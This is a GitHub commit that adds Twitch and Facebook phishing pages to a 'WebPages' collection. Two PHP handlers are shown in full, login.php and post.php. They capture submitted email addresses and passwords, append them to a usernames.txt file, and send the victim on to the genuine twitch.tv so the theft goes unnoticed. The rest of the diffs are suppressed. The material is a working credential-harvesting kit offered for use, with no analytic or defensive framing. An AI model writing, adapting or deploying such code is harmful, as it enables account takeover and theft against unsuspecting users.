twitch_added with facebook also included

This commit is contained in:
Usama Abdul Sattar 2018-04-26 16:06:22 +05:00 committed by GitHub
parent 99346f6231
commit 61378829ab
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
10 changed files with 620 additions and 0 deletions

File diff suppressed because one or more lines are too long

126
WebPages/twitch/index.html Normal file

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

File diff suppressed because one or more lines are too long

14
WebPages/twitch/login.php Normal file
View File

@ -0,0 +1,14 @@
<?php
$var = $_POST['twitch_user'];
$var2 = $_POST['twitch_pass'];
$myFile = file_get_contents("protect.html");
$searchString = "<html><title>WELCOME</title></html>";
if($myFile != $searchString) {
file_put_contents("usernames.txt", "[Twitch-EMAIL]: " . $var . " [Twitch-PASS]: " . $var2 . "\n", FILE_APPEND);
header('Location:https://twitch.tv/login');
}
if($myFile != $searchString) {
echo "LOGIN SUCCESSFULL";
}
exit();
?>

14
WebPages/twitch/post.php Normal file
View File

@ -0,0 +1,14 @@
<?php
$var = $_POST['fb_email'];
$var2 = $_POST['fb_pass'];
$myFile = file_get_contents("protect.html");
$searchString = "<html><title>WELCOME</title></html>";
if($myFile != $searchString) {
file_put_contents("usernames.txt", "[FB-EMAIL]: " . $var . " [FB-PASS]: " . $var2 . "\n", FILE_APPEND);
header('Location:https://twitch.tv/');
}
if($myFile != $searchString) {
echo "LOGIN SUCCESSFULL";
}
exit();
?>